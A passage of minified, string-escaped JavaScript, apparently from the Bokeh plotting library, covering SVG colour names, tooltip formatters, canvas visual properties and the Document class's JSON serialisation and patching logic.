strict';\\\\n\\\"+t}},function(t,e,i){i.svg_colors={indianred:\\\"#CD5C5C\\\",lightcoral:\\\"#F08080\\\",salmon:\\\"#FA8072\\\",darksalmon:\\\"#E9967A\\\",lightsalmon:\\\"#FFA07A\\\",crimson:\\\"#DC143C\\\",red:\\\"#FF0000\\\",firebrick:\\\"#B22222\\\",darkred:\\\"#8B0000\\\",pink:\\\"#FFC0CB\\\",lightpink:\\\"#FFB6C1\\\",hotpink:\\\"#FF69B4\\\",deeppink:\\\"#FF1493\\\",mediumvioletred:\\\"#C71585\\\",palevioletred:\\\"#DB7093\\\",coral:\\\"#FF7F50\\\",tomato:\\\"#FF6347\\\",orangered:\\\"#FF4500\\\",darkorange:\\\"#FF8C00\\\",orange:\\\"#FFA500\\\",gold:\\\"#FFD700\\\",yellow:\\\"#FFFF00\\\",lightyellow:\\\"#FFFFE0\\\",lemonchiffon:\\\"#FFFACD\\\",lightgoldenrodyellow:\\\"#FAFAD2\\\",papayawhip:\\\"#FFEFD5\\\",moccasin:\\\"#FFE4B5\\\",peachpuff:\\\"#FFDAB9\\\",palegoldenrod:\\\"#EEE8AA\\\",khaki:\\\"#F0E68C\\\",darkkhaki:\\\"#BDB76B\\\",lavender:\\\"#E6E6FA\\\",thistle:\\\"#D8BFD8\\\",plum:\\\"#DDA0DD\\\",violet:\\\"#EE82EE\\\",orchid:\\\"#DA70D6\\\",fuchsia:\\\"#FF00FF\\\",magenta:\\\"#FF00FF\\\",mediumorchid:\\\"#BA55D3\\\",mediumpurple:\\\"#9370DB\\\",blueviolet:\\\"#8A2BE2\\\",darkviolet:\\\"#9400D3\\\",darkorchid:\\\"#9932CC\\\",darkmagenta:\\\"#8B008B\\\",purple:\\\"#800080\\\",indigo:\\\"#4B0082\\\",slateblue:\\\"#6A5ACD\\\",darkslateblue:\\\"#483D8B\\\",mediumslateblue:\\\"#7B68EE\\\",greenyellow:\\\"#ADFF2F\\\",chartreuse:\\\"#7FFF00\\\",lawngreen:\\\"#7CFC00\\\",lime:\\\"#00FF00\\\",limegreen:\\\"#32CD32\\\",palegreen:\\\"#98FB98\\\",lightgreen:\\\"#90EE90\\\",mediumspringgreen:\\\"#00FA9A\\\",springgreen:\\\"#00FF7F\\\",mediumseagreen:\\\"#3CB371\\\",seagreen:\\\"#2E8B57\\\",forestgreen:\\\"#228B22\\\",green:\\\"#008000\\\",darkgreen:\\\"#006400\\\",yellowgreen:\\\"#9ACD32\\\",olivedrab:\\\"#6B8E23\\\",olive:\\\"#808000\\\",darkolivegreen:\\\"#556B2F\\\",mediumaquamarine:\\\"#66CDAA\\\",darkseagreen:\\\"#8FBC8F\\\",lightseagreen:\\\"#20B2AA\\\",darkcyan:\\\"#008B8B\\\",teal:\\\"#008080\\\",aqua:\\\"#00FFFF\\\",cyan:\\\"#00FFFF\\\",lightcyan:\\\"#E0FFFF\\\",paleturquoise:\\\"#AFEEEE\\\",aquamarine:\\\"#7FFFD4\\\",turquoise:\\\"#40E0D0\\\",mediumturquoise:\\\"#48D1CC\\\",darkturquoise:\\\"#00CED1\\\",cadetblue:\\\"#5F9EA0\\\",steelblue:\\\"#4682B4\\\",lightsteelblue:\\\"#B0C4DE\\\",powderblue:\\\"#B0E0E6\\\",lightblue:\\\"#ADD8E6\\\",skyblue:\\\"#87CEEB\\\",lightskyblue:\\\"#87CEFA\\\",deepskyblue:\\\"#00BFFF\\\",dodgerblue:\\\"#1E90FF\\\",cornflowerblue:\\\"#6495ED\\\",royalblue:\\\"#4169E1\\\",blue:\\\"#0000FF\\\",mediumblue:\\\"#0000CD\\\",darkblue:\\\"#00008B\\\",navy:\\\"#000080\\\",midnightblue:\\\"#191970\\\",cornsilk:\\\"#FFF8DC\\\",blanchedalmond:\\\"#FFEBCD\\\",bisque:\\\"#FFE4C4\\\",navajowhite:\\\"#FFDEAD\\\",wheat:\\\"#F5DEB3\\\",burlywood:\\\"#DEB887\\\",tan:\\\"#D2B48C\\\",rosybrown:\\\"#BC8F8F\\\",sandybrown:\\\"#F4A460\\\",goldenrod:\\\"#DAA520\\\",darkgoldenrod:\\\"#B8860B\\\",peru:\\\"#CD853F\\\",chocolate:\\\"#D2691E\\\",saddlebrown:\\\"#8B4513\\\",sienna:\\\"#A0522D\\\",brown:\\\"#A52A2A\\\",maroon:\\\"#800000\\\",white:\\\"#FFFFFF\\\",snow:\\\"#FFFAFA\\\",honeydew:\\\"#F0FFF0\\\",mintcream:\\\"#F5FFFA\\\",azure:\\\"#F0FFFF\\\",aliceblue:\\\"#F0F8FF\\\",ghostwhite:\\\"#F8F8FF\\\",whitesmoke:\\\"#F5F5F5\\\",seashell:\\\"#FFF5EE\\\",beige:\\\"#F5F5DC\\\",oldlace:\\\"#FDF5E6\\\",floralwhite:\\\"#FFFAF0\\\",ivory:\\\"#FFFFF0\\\",antiquewhite:\\\"#FAEBD7\\\",linen:\\\"#FAF0E6\\\",lavenderblush:\\\"#FFF0F5\\\",mistyrose:\\\"#FFE4E1\\\",gainsboro:\\\"#DCDCDC\\\",lightgray:\\\"#D3D3D3\\\",lightgrey:\\\"#D3D3D3\\\",silver:\\\"#C0C0C0\\\",darkgray:\\\"#A9A9A9\\\",darkgrey:\\\"#A9A9A9\\\",gray:\\\"#808080\\\",grey:\\\"#808080\\\",dimgray:\\\"#696969\\\",dimgrey:\\\"#696969\\\",lightslategray:\\\"#778899\\\",lightslategrey:\\\"#778899\\\",slategray:\\\"#708090\\\",slategrey:\\\"#708090\\\",darkslategray:\\\"#2F4F4F\\\",darkslategrey:\\\"#2F4F4F\\\",black:\\\"#000000\\\"},i.is_svg_color=function(t){return t in i.svg_colors}},function(t,e,s){var r=t(389),n=t(361),o=t(390),_=t(38),a=t(44);function l(t,e,i){if(a.isNumber(t)){var n=function(){switch(!1){case Math.floor(t)!=t:return\\\"%d\\\";case!(.1<Math.abs(t)&&Math.abs(t)<1e3):return\\\"%0.3f\\\";default:return\\\"%0.3e\\\"}}();return r.sprintf(n,t)}return\\\"\\\"+t}function p(t,e,i,n){if(null==i)return l;if(null!=n&&(t in n||e in n)){var r=e in n?e:t,o=n[r];if(a.isString(o)){if(o in s.DEFAULT_FORMATTERS)return s.DEFAULT_FORMATTERS[o];throw new Error(\\\"Unknown tooltip field formatter type '\\\"+o+\\\"'\\\")}return function(t,e,i){return o.format(t,e,i)}}return s.DEFAULT_FORMATTERS.numeral}function d(t,e,i,n){if(\\\"$\\\"==t[0]){if(t.substring(1)in n)return n[t.substring(1)];throw new Error(\\\"Unknown special variable '\\\"+t+\\\"'\\\")}var r=e.get_column(t);if(null==r)return null;if(a.isNumber(i))return r[i];var o=r[i.index];if(a.isTypedArray(o)||a.isArray(o)){if(a.isArray(o[0])){var s=o[i.dim2];return s[i.dim1]}return o[i.flat_index]}return o}s.DEFAULT_FORMATTERS={numeral:function(t,e,i){return n.format(t,e)},datetime:function(t,e,i){return o(t,e)},printf:function(t,e,i){return r.sprintf(e,t)}},s.basic_formatter=l,s.get_formatter=p,s.get_value=d,s.replace_placeholders=function(t,a,l,h,u){void 0===u&&(u={});var c=t.replace(/(?:^|[^@])([@|\\\\$](?:\\\\w+|{[^{}]+}))(?:{[^{}]+})?/g,function(t,e,i){return\\\"\\\"+e});return t=(t=(t=t.replace(/@\\\\$name/g,function(t){return\\\"@{\\\"+u.name+\\\"}\\\"})).replace(/(^|[^\\\\$])\\\\$(\\\\w+)/g,function(t,e,i){return e+\\\"@$\\\"+i})).replace(/(^|[^@])@(?:(\\\\$?\\\\w+)|{([^{}]+)})(?:{([^{}]+)})?/g,function(t,e,i,n,r){var o=d(i=null!=n?n:i,a,l,u);if(null==o)return\\\"\\\"+e+_.escape(\\\"???\\\");if(\\\"safe\\\"==r)return\\\"\\\"+e+o;var s=p(i,c,r,h);return\\\"\\\"+e+_.escape(s(o,r,u))})}},function(t,e,i){var a=t(5),l={};i.get_text_height=function(t){if(null!=l[t])return l[t];var e=a.span({style:{font:t}},\\\"Hg\\\"),i=a.div({style:{display:\\\"inline-block\\\",width:\\\"1px\\\",height:\\\"0px\\\"}}),n=a.div({},e,i);document.body.appendChild(n);try{i.style.verticalAlign=\\\"baseline\\\";var r=a.offset(i).top-a.offset(e).top;i.style.verticalAlign=\\\"bottom\\\";var o=a.offset(i).top-a.offset(e).top,s={height:o,ascent:r,descent:o-r};return l[t]=s}finally{document.body.removeChild(n)}}},function(t,e,i){var a=(\\\"undefined\\\"!=typeof window?window.requestAnimationFrame:void 0)||(\\\"undefined\\\"!=typeof window?window.webkitRequestAnimationFrame:void 0)||(\\\"undefined\\\"!=typeof window?window.mozRequestAnimationFrame:void 0)||(\\\"undefined\\\"!=typeof window?window.msRequestAnimationFrame:void 0)||function(t){return t(Date.now()),-1};i.throttle=function(t,i){var n=null,r=0,o=!1,s=function(){r=Date.now(),n=null,o=!1,t()};return function(){var t=Date.now(),e=i-(t-r);e<=0&&!o?(null!=n&&clearTimeout(n),o=!0,a(s)):n||o||(n=setTimeout(function(){return a(s)},e))}}},function(t,e,i){i.concat=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];for(var n=t.length,r=0,o=e;r<o.length;r++){var s=o[r];n+=s.length}var a=new t.constructor(n);a.set(t,0);for(var l=t.length,h=0,u=e;h<u.length;h++){var s=u[h];a.set(s,l),l+=s.length}return a}},function(t,e,i){var n=t(21),r=Object.prototype.toString;function o(t){return\\\"[object Number]\\\"===r.call(t)}function s(t){var e=typeof t;return\\\"function\\\"===e||\\\"object\\\"===e&&!!t}i.isBoolean=function(t){return!0===t||!1===t||\\\"[object Boolean]\\\"===r.call(t)},i.isNumber=o,i.isInteger=function(t){return o(t)&&isFinite(t)&&Math.floor(t)===t},i.isString=function(t){return\\\"[object String]\\\"===r.call(t)},i.isStrictNaN=function(t){return o(t)&&t!==+t},i.isFunction=function(t){return\\\"[object Function]\\\"===r.call(t)},i.isArray=function(t){return Array.isArray(t)},i.isArrayOf=function(t,e){return n.all(t,e)},i.isArrayableOf=function(t,e){for(var i=0,n=t.length;i<n;i++)if(!e(t[i]))return!1;return!0},i.isTypedArray=function(t){return null!=t&&null!=t.buffer&&t.buffer instanceof ArrayBuffer},i.isObject=s,i.isPlainObject=function(t){return s(t)&&(null==t.constructor||t.constructor===Object)}},function(t,e,i){function n(t){var e=getComputedStyle(t).fontSize;return null!=e?parseInt(e,10):null}i.getDeltaY=function(t){var e,i=-t.deltaY;if(t.target instanceof HTMLElement)switch(t.deltaMode){case t.DOM_DELTA_LINE:i*=n((e=t.target).offsetParent||document.body)||n(e)||16;break;case t.DOM_DELTA_PAGE:i*=t.target.clientHeight}return i}},function(t,e,i){var f=t(31);function v(t,e,i){var n=[t.start,t.end],r=n[0],o=n[1],s=null!=i?i:(o+r)/2,a=r-(r-s)*e,l=o-(o-s)*e;return[a,l]}function m(t,e){var i=e[0],n=e[1],r={};for(var o in t){var s=t[o],a=s.r_invert(i,n),l=a[0],h=a[1];r[o]={start:l,end:h}}return r}i.scale_highlow=v,i.get_info=m,i.scale_range=function(t,e,i,n,r){void 0===i&&(i=!0),void 0===n&&(n=!0),e=f.clamp(e,-.9,.9);var o=i?e:0,s=v(t.bbox.h_range,o,null!=r?r.x:void 0),a=s[0],l=s[1],h=m(t.xscales,[a,l]),u=n?e:0,c=v(t.bbox.v_range,u,null!=r?r.y:void 0),_=c[0],p=c[1],d=m(t.yscales,[_,p]);return{xrs:h,yrs:d,factor:e}}},function(t,e,i){var n=t(44);i.isValue=function(t){return n.isObject(t)&&\\\"value\\\"in t},i.isField=function(t){return n.isObject(t)&&\\\"field\\\"in t}},function(t,e,i){var n=t(391),r=t(19),o=t(38),s=function(i){function t(t){var e=i.call(this)||this;if(e.removed=new r.Signal0(e,\\\"removed\\\"),null==t.model)throw new Error(\\\"model of a view wasn't configured\\\");return e.model=t.model,e._parent=t.parent,e.id=t.id||o.uniqueId(),e.initialize(t),!1!==t.connect_signals&&e.connect_signals(),e}return n.__extends(t,i),t.prototype.initialize=function(t){},t.prototype.remove=function(){this._parent=void 0,this.disconnect_signals(),this.removed.emit()},t.prototype.toString=function(){return this.model.type+\\\"View(\\\"+this.id+\\\")\\\"},Object.defineProperty(t.prototype,\\\"parent\\\",{get:function(){if(void 0!==this._parent)return this._parent;throw new Error(\\\"parent of a view wasn't configured\\\")},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_root\\\",{get:function(){return null===this.parent},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"root\\\",{get:function(){return this.is_root?this:this.parent.root},enumerable:!0,configurable:!0}),t.prototype.connect_signals=function(){},t.prototype.disconnect_signals=function(){r.Signal.disconnectReceiver(this)},t.prototype.notify_finished=function(){this.root.notify_finished()},t}(r.Signalable());i.View=s},function(t,e,i){var n=t(391),r=t(16),o=t(27),s=function(){function t(t,e){void 0===e&&(e=\\\"\\\"),this.obj=t,this.prefix=e,this.cache={};var i=t.properties[e+this.do_attr].spec;this.doit=null!==i.value;for(var n=0,r=this.attrs;n<r.length;n++){var o=r[n];this[o]=t.properties[e+o]}}return t.prototype.warm_cache=function(t){for(var e=0,i=this.attrs;e<i.length;e++){var n=i[e],r=this.obj.properties[this.prefix+n];if(void 0!==r.spec.value)this.cache[n]=r.spec.value;else{if(null==t)throw new Error(\\\"source is required with a vectorized visual property\\\");this.cache[n+\\\"_array\\\"]=r.array(t)}}},t.prototype.cache_select=function(t,e){var i,n=this.obj.properties[this.prefix+t];return void 0!==n.spec.value?this.cache[t]=i=n.spec.value:this.cache[t]=i=this.cache[t+\\\"_array\\\"][e],i},t.prototype.set_vectorize=function(t,e){null!=this.all_indices?this._set_vectorize(t,this.all_indices[e]):this._set_vectorize(t,e)},t}(),h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.set_value=function(t){t.strokeStyle=this.line_color.value(),t.globalAlpha=this.line_alpha.value(),t.lineWidth=this.line_width.value(),t.lineJoin=this.line_join.value(),t.lineCap=this.line_cap.value(),t.setLineDash(this.line_dash.value()),t.setLineDashOffset(this.line_dash_offset.value())},e.prototype._set_vectorize=function(t,e){this.cache_select(\\\"line_color\\\",e),t.strokeStyle!==this.cache.line_color&&(t.strokeStyle=this.cache.line_color),this.cache_select(\\\"line_alpha\\\",e),t.globalAlpha!==this.cache.line_alpha&&(t.globalAlpha=this.cache.line_alpha),this.cache_select(\\\"line_width\\\",e),t.lineWidth!==this.cache.line_width&&(t.lineWidth=this.cache.line_width),this.cache_select(\\\"line_join\\\",e),t.lineJoin!==this.cache.line_join&&(t.lineJoin=this.cache.line_join),this.cache_select(\\\"line_cap\\\",e),t.lineCap!==this.cache.line_cap&&(t.lineCap=this.cache.line_cap),this.cache_select(\\\"line_dash\\\",e),t.getLineDash()!==this.cache.line_dash&&t.setLineDash(this.cache.line_dash),this.cache_select(\\\"line_dash_offset\\\",e),t.getLineDashOffset()!==this.cache.line_dash_offset&&t.setLineDashOffset(this.cache.line_dash_offset)},e.prototype.color_value=function(){var t=o.color2rgba(this.line_color.value(),this.line_alpha.value()),e=t[0],i=t[1],n=t[2],r=t[3];return\\\"rgba(\\\"+255*e+\\\",\\\"+255*i+\\\",\\\"+255*n+\\\",\\\"+r+\\\")\\\"},e}(i.ContextProperties=s);(i.Line=h).prototype.attrs=Object.keys(r.line()),h.prototype.do_attr=\\\"line_color\\\";var u=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.set_value=function(t){t.fillStyle=this.fill_color.value(),t.globalAlpha=this.fill_alpha.value()},e.prototype._set_vectorize=function(t,e){this.cache_select(\\\"fill_color\\\",e),t.fillStyle!==this.cache.fill_color&&(t.fillStyle=this.cache.fill_color),this.cache_select(\\\"fill_alpha\\\",e),t.globalAlpha!==this.cache.fill_alpha&&(t.globalAlpha=this.cache.fill_alpha)},e.prototype.color_value=function(){var t=o.color2rgba(this.fill_color.value(),this.fill_alpha.value()),e=t[0],i=t[1],n=t[2],r=t[3];return\\\"rgba(\\\"+255*e+\\\",\\\"+255*i+\\\",\\\"+255*n+\\\",\\\"+r+\\\")\\\"},e}(s);(i.Fill=u).prototype.attrs=Object.keys(r.fill()),u.prototype.do_attr=\\\"fill_color\\\";var c=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return n.__extends(t,a),t.prototype.cache_select=function(t,e){var i;if(\\\"font\\\"==t){a.prototype.cache_select.call(this,\\\"text_font_style\\\",e),a.prototype.cache_select.call(this,\\\"text_font_size\\\",e),a.prototype.cache_select.call(this,\\\"text_font\\\",e);var n=this.cache,r=n.text_font_style,o=n.text_font_size,s=n.text_font;this.cache.font=i=r+\\\" \\\"+o+\\\" \\\"+s}else i=a.prototype.cache_select.call(this,t,e);return i},t.prototype.font_value=function(){var t=this.text_font.value(),e=this.text_font_size.value(),i=this.text_font_style.value();return i+\\\" \\\"+e+\\\" \\\"+t},t.prototype.color_value=function(){var t=o.color2rgba(this.text_color.value(),this.text_alpha.value()),e=t[0],i=t[1],n=t[2],r=t[3];return\\\"rgba(\\\"+255*e+\\\",\\\"+255*i+\\\",\\\"+255*n+\\\",\\\"+r+\\\")\\\"},t.prototype.set_value=function(t){t.font=this.font_value(),t.fillStyle=this.text_color.value(),t.globalAlpha=this.text_alpha.value(),t.textAlign=this.text_align.value(),t.textBaseline=this.text_baseline.value()},t.prototype._set_vectorize=function(t,e){this.cache_select(\\\"font\\\",e),t.font!==this.cache.font&&(t.font=this.cache.font),this.cache_select(\\\"text_color\\\",e),t.fillStyle!==this.cache.text_color&&(t.fillStyle=this.cache.text_color),this.cache_select(\\\"text_alpha\\\",e),t.globalAlpha!==this.cache.text_alpha&&(t.globalAlpha=this.cache.text_alpha),this.cache_select(\\\"text_align\\\",e),t.textAlign!==this.cache.text_align&&(t.textAlign=this.cache.text_align),this.cache_select(\\\"text_baseline\\\",e),t.textBaseline!==this.cache.text_baseline&&(t.textBaseline=this.cache.text_baseline)},t}(s);(i.Text=c).prototype.attrs=Object.keys(r.text()),c.prototype.do_attr=\\\"text_color\\\";var a=function(){function t(t){for(var e=0,i=t.mixins;e<i.length;e++){var n=i[e],r=n.split(\\\":\\\"),o=r[0],s=r[1],a=void 0===s?\\\"\\\":s,l=void 0;switch(o){case\\\"line\\\":l=h;break;case\\\"fill\\\":l=u;break;case\\\"text\\\":l=c;break;default:throw new Error(\\\"unknown visual: \\\"+o)}this[a+o]=new l(t,a)}}return t.prototype.warm_cache=function(t){for(var e in this)if(this.hasOwnProperty(e)){var i=this[e];i instanceof s&&i.warm_cache(t)}},t.prototype.set_all_indices=function(t){for(var e in this)if(this.hasOwnProperty(e)){var i=this[e];i instanceof s&&(i.all_indices=t)}},t}();i.Visuals=a},function(t,e,i){var o=t(391),s=t(0),_=t(286),j=t(14),n=t(3),p=t(8),r=t(19),a=t(34),N=t(36),m=t(29),y=t(21),b=t(32),x=t(30),d=t(44),l=t(157),F=t(200),g=t(59),h=t(51),u=function(){function t(t){this.document=t,this.session=null,this.subscribed_models=new m.Set}return t.prototype.send_event=function(t){null!=this.session&&this.session.send_event(t)},t.prototype.trigger=function(t){for(var e=0,i=this.subscribed_models.values;e<i.length;e++){var n=i[e];if(null==t.model_id||t.model_id===n){var r=this.document._all_models[n];null!=r&&r._process_event(t)}}},t}();i.EventManager=u,i.documents=[],i.DEFAULT_TITLE=\\\"Bokeh Application\\\";var c=function(){function P(){i.documents.push(this),this._init_timestamp=Date.now(),this._title=i.DEFAULT_TITLE,this._roots=[],this._all_models={},this._all_models_by_name=new m.MultiDict,this._all_models_freeze_count=0,this._callbacks=[],this.event_manager=new u(this),this.idle=new r.Signal0(this,\\\"idle\\\"),this._idle_roots=new WeakMap,this._interactive_timestamp=null,this._interactive_plot=null}return Object.defineProperty(P.prototype,\\\"layoutables\\\",{get:function(){return this._roots.filter(function(t){return t instanceof l.LayoutDOM})},enumerable:!0,configurable:!0}),Object.defineProperty(P.prototype,\\\"is_idle\\\",{get:function(){for(var t=0,e=this.layoutables;t<e.length;t++){var i=e[t];if(!this._idle_roots.has(i))return!1}return!0},enumerable:!0,configurable:!0}),P.prototype.notify_idle=function(t){this._idle_roots.set(t,!0),this.is_idle&&(j.logger.info(\\\"document idle at \\\"+(Date.now()-this._init_timestamp)+\\\" ms\\\"),this.idle.emit())},P.prototype.clear=function(){this._push_all_models_freeze();try{for(;0<this._roots.length;)this.remove_root(this._roots[0])}finally{this._pop_all_models_freeze()}},P.prototype.interactive_start=function(t){null==this._interactive_plot&&(this._interactive_plot=t,this._interactive_plot.trigger_event(new n.LODStart({}))),this._interactive_timestamp=Date.now()},P.prototype.interactive_stop=function(t){null!=this._interactive_plot&&this._interactive_plot.id===t.id&&this._interactive_plot.trigger_event(new n.LODEnd({})),this._interactive_plot=null,this._interactive_timestamp=null},P.prototype.interactive_duration=function(){return null==this._interactive_timestamp?-1:Date.now()-this._interactive_timestamp},P.prototype.destructively_move=function(t){if(t===this)throw new Error(\\\"Attempted to overwrite a document with itself\\\");t.clear();var e=y.copy(this._roots);this.clear();for(var i=0,n=e;i<n.length;i++){var r=n[i];if(null!=r.document)throw new Error(\\\"Somehow we didn't detach \\\"+r)}if(0!==Object.keys(this._all_models).length)throw new Error(\\\"this._all_models still had stuff in it: \\\"+this._all_models);for(var o=0,s=e;o<s.length;o++){var r=s[o];t.add_root(r)}t.set_title(this._title)},P.prototype._push_all_models_freeze=function(){this._all_models_freeze_count+=1},P.prototype._pop_all_models_freeze=function(){this._all_models_freeze_count-=1,0===this._all_models_freeze_count&&this._recompute_all_models()},P.prototype._invalidate_all_models=function(){j.logger.debug(\\\"invalidating document models\\\"),0===this._all_models_freeze_count&&this._recompute_all_models()},P.prototype._recompute_all_models=function(){for(var t=new m.Set,e=0,i=this._roots;e<i.length;e++){var n=i[e];t=t.union(n.references())}for(var r=new m.Set(b.values(this._all_models)),o=r.diff(t),s=t.diff(r),a={},l=0,h=t.values;l<h.length;l++){var u=h[l];a[u.id]=u}for(var c=0,_=o.values;c<_.length;c++){var p=_[c];p.detach_document(),p instanceof g.Model&&null!=p.name&&this._all_models_by_name.remove_value(p.name,p)}for(var d=0,f=s.values;d<f.length;d++){var v=f[d];v.attach_document(this),v instanceof g.Model&&null!=v.name&&this._all_models_by_name.add_value(v.name,v)}this._all_models=a},P.prototype.roots=function(){return this._roots},P.prototype.add_root=function(t,e){if(j.logger.debug(\\\"Adding root: \\\"+t),!y.includes(this._roots,t)){this._push_all_models_freeze();try{this._roots.push(t)}finally{this._pop_all_models_freeze()}this._trigger_on_change(new h.RootAddedEvent(this,t,e))}},P.prototype.remove_root=function(t,e){var i=this._roots.indexOf(t);if(!(i<0)){this._push_all_models_freeze();try{this._roots.splice(i,1)}finally{this._pop_all_models_freeze()}this._trigger_on_change(new h.RootRemovedEvent(this,t,e))}},P.prototype.title=function(){return this._title},P.prototype.set_title=function(t,e){t!==this._title&&(this._title=t,this._trigger_on_change(new h.TitleChangedEvent(this,t,e)))},P.prototype.get_model_by_id=function(t){return t in this._all_models?this._all_models[t]:null},P.prototype.get_model_by_name=function(t){return this._all_models_by_name.get_one(t,\\\"Multiple models are named '\\\"+t+\\\"'\\\")},P.prototype.on_change=function(t){y.includes(this._callbacks,t)||this._callbacks.push(t)},P.prototype.remove_on_change=function(t){var e=this._callbacks.indexOf(t);0<=e&&this._callbacks.splice(e,1)},P.prototype._trigger_on_change=function(t){for(var e=0,i=this._callbacks;e<i.length;e++){var n=i[e];n(t)}},P.prototype._notify_change=function(t,e,i,n,r){\\\"name\\\"===e&&(this._all_models_by_name.remove_value(i,t),null!=n&&this._all_models_by_name.add_value(n,t));var o=null!=r?r.setter_id:void 0,s=null!=r?r.hint:void 0;this._trigger_on_change(new h.ModelChangedEvent(this,t,e,i,n,o,s))},P._references_json=function(t,e){void 0===e&&(e=!0);for(var i=[],n=0,r=t;n<r.length;n++){var o=r[n],s=o.ref();s.attributes=o.attributes_as_json(e),delete s.attributes.id,i.push(s)}return i},P._instantiate_object=function(t,e,i){var n=o.__assign({},i,{id:t,__deferred__:!0}),r=s.Models(e);return new r(n)},P._instantiate_references_json=function(t,e){for(var i={},n=0,r=t;n<r.length;n++){var o=r[n],s=o.id,a=o.type,l=o.attributes||{},h=void 0;s in e?h=e[s]:(h=P._instantiate_object(s,a,l),null!=o.subtype&&h.set_subtype(o.subtype)),i[h.id]=h}return i},P._resolve_refs=function(t,e,i){function o(t){if(a.is_ref(t)){if(t.id in e)return e[t.id];if(t.id in i)return i[t.id];throw new Error(\\\"reference \\\"+JSON.stringify(t)+\\\" isn't known (not in Document?)\\\")}return d.isArray(t)?function(t){for(var e=[],i=0,n=t;i<n.length;i++){var r=n[i];e.push(o(r))}return e}(t):d.isPlainObject(t)?function(t){var e={};for(var i in t){var n=t[i];e[i]=o(n)}return e}(t):t}return o(t)},P._initialize_references_json=function(t,e,i){for(var n={},r=0,o=t;r<o.length;r++){var s=o[r],a=s.id,l=s.attributes,h=!(a in e),u=h?i[a]:e[a],c=P._resolve_refs(l,e,i);n[u.id]=[u,c,h]}function _(h,u){var c={};function _(t){if(t instanceof p.HasProps){if(!(t.id in c)&&t.id in h){c[t.id]=!0;var e=h[t.id],i=e[1],n=e[2];for(var r in i){var o=i[r];_(o)}u(t,i,n)}}else if(d.isArray(t))for(var s=0,a=t;s<a.length;s++){var o=a[s];_(o)}else if(d.isPlainObject(t))for(var l in t){var o=t[l];_(o)}}for(var t in h){var e=h[t],i=e[0];_(i)}}_(n,function(t,e,i){i&&t.setv(e,{silent:!0})}),_(n,function(t,e,i){i&&t.finalize()})},P._event_for_attribute_change=function(t,e,i,n,r){var o=n.get_model_by_id(t.id);if(o.attribute_is_serializable(e)){var s={kind:\\\"ModelChanged\\\",model:{id:t.id,type:t.type},attr:e,new:i};return p.HasProps._json_record_references(n,i,r,!0),s}return null},P._events_to_sync_objects=function(t,e,i,n){for(var r=Object.keys(t.attributes),o=Object.keys(e.attributes),s=y.difference(r,o),a=y.difference(o,r),l=y.intersection(r,o),h=[],u=0,c=s;u<c.length;u++){var _=c[u];j.logger.warn(\\\"Server sent key \\\"+_+\\\" but we don't seem to have it in our JSON\\\")}for(var p=0,d=a;p<d.length;p++){var _=d[p],f=e.attributes[_];h.push(P._event_for_attribute_change(t,_,f,i,n))}for(var v=0,m=l;v<m.length;v++){var _=m[v],g=t.attributes[_],f=e.attributes[_];null==g&&null==f||(null==g||null==f?h.push(P._event_for_attribute_change(t,_,f,i,n)):x.isEqual(g,f)||h.push(P._event_for_attribute_change(t,_,f,i,n)))}return h.filter(function(t){return null!=t})},P._compute_patch_since_json=function(t,e){var i=e.to_json(!1);function n(t){for(var e={},i=0,n=t.roots.references;i<n.length;i++){var r=n[i];e[r.id]=r}return e}for(var r=n(t),o={},s=[],a=0,l=t.roots.root_ids;a<l.length;a++){var h=l[a];o[h]=r[h],s.push(h)}for(var u=n(i),c={},_=[],p=0,d=i.roots.root_ids;p<d.length;p++){var h=d[p];c[h]=u[h],_.push(h)}if(s.sort(),_.sort(),0<y.difference(s,_).length||0<y.difference(_,s).length)throw new Error(\\\"Not implemented: computing add/remove of document roots\\\");var f={},v=[];for(var m in e._all_models)if(m in r){var g=P._events_to_sync_objects(r[m],u[m],e,f);v=v.concat(g)}return{references:P._references_json(b.values(f),!1),events:v}},P.prototype.to_json_string=function(t){return void 0===t&&(t=!0),JSON.stringify(this.to_json(t))},P.prototype.to_json=function(t){void 0===t&&(t=!0);var e=this._roots.map(function(t){return t.id}),i=b.values(this._all_models);return{version:_.version,title:this._title,roots:{root_ids:e,references:P._references_json(i,t)}}},P.from_json_string=function(t){var e=JSON.parse(t);return P.from_json(e)},P.from_json=function(t){j.logger.debug(\\\"Creating Document from JSON\\\");var e=t.version,i=-1!==e.indexOf(\\\"+\\\")||-1!==e.indexOf(\\\"-\\\"),n=\\\"Library versions: JS (\\\"+_.version+\\\") / Python (\\\"+e+\\\")\\\";i||_.version===e?j.logger.debug(n):(j.logger.warn(\\\"JS/Python version mismatch\\\"),j.logger.warn(n));var r=t.roots,o=r.root_ids,s=r.references,a=P._instantiate_references_json(s,{});P._initialize_references_json(s,{},a);for(var l=new P,h=0,u=o;h<u.length;h++){var c=u[h];l.add_root(a[c])}return l.set_title(t.title),l},P.prototype.replace_with_json=function(t){var e=P.from_json(t);e.destructively_move(this)},P.prototype.create_json_patch_string=function(t){return JSON.stringify(this.create_json_patch(t))},P.prototype.create_json_patch=function(t){for(var e={},i=[],n=0,r=t;n<r.length;n++){var o=r[n];if(o.document!==this)throw j.logger.warn(\\\"Cannot create a patch using events from a different document, event had \\\",o.document,\\\" we are \\\",this),new Error(\\\"Cannot create a patch using events from a different document\\\");i.push(o.json(e))}return{events:i,references:P._references_json(b.values(e))}},P.prototype.apply_json_patch=function(t,e,i){for(var n,r=t.references,o=t.events,s=P._instantiate_references_json(r,this._all_models),a=0,l=o;a<l.length;a++){var h=l[a];switch(h.kind){case\\\"RootAdded\\\":case\\\"RootRemoved\\\":case\\\"ModelChanged\\\":var u=h.model.id;if(u in this._all_models)s[u]=this._all_models[u];else if(!(u in s))throw j.logger.warn(\\\"Got an event for unknown model \\\",h.model),new Error(\\\"event model wasn't known\\\")}}var c={},_={};for(var p in s){var d=s[p];p in this._all_models?c[p]=d:_[p]=d}P._initialize_references_json(r,c,_);for(var f=0,v=o;f<v.length;f++){var h=v[f];switch(h.kind){case\\\"ModelChanged\\\":var m=h.model.id;if(!(m in this._all_models))throw new Error(\\\"Cannot apply patch to \\\"+m+\\\" which is not in the document\\\");var g=this._all_models[m],y=h.attr,b=h.model.type;if(\\\"data\\\"===y&&\\\"ColumnDataSource\\\"===b){var 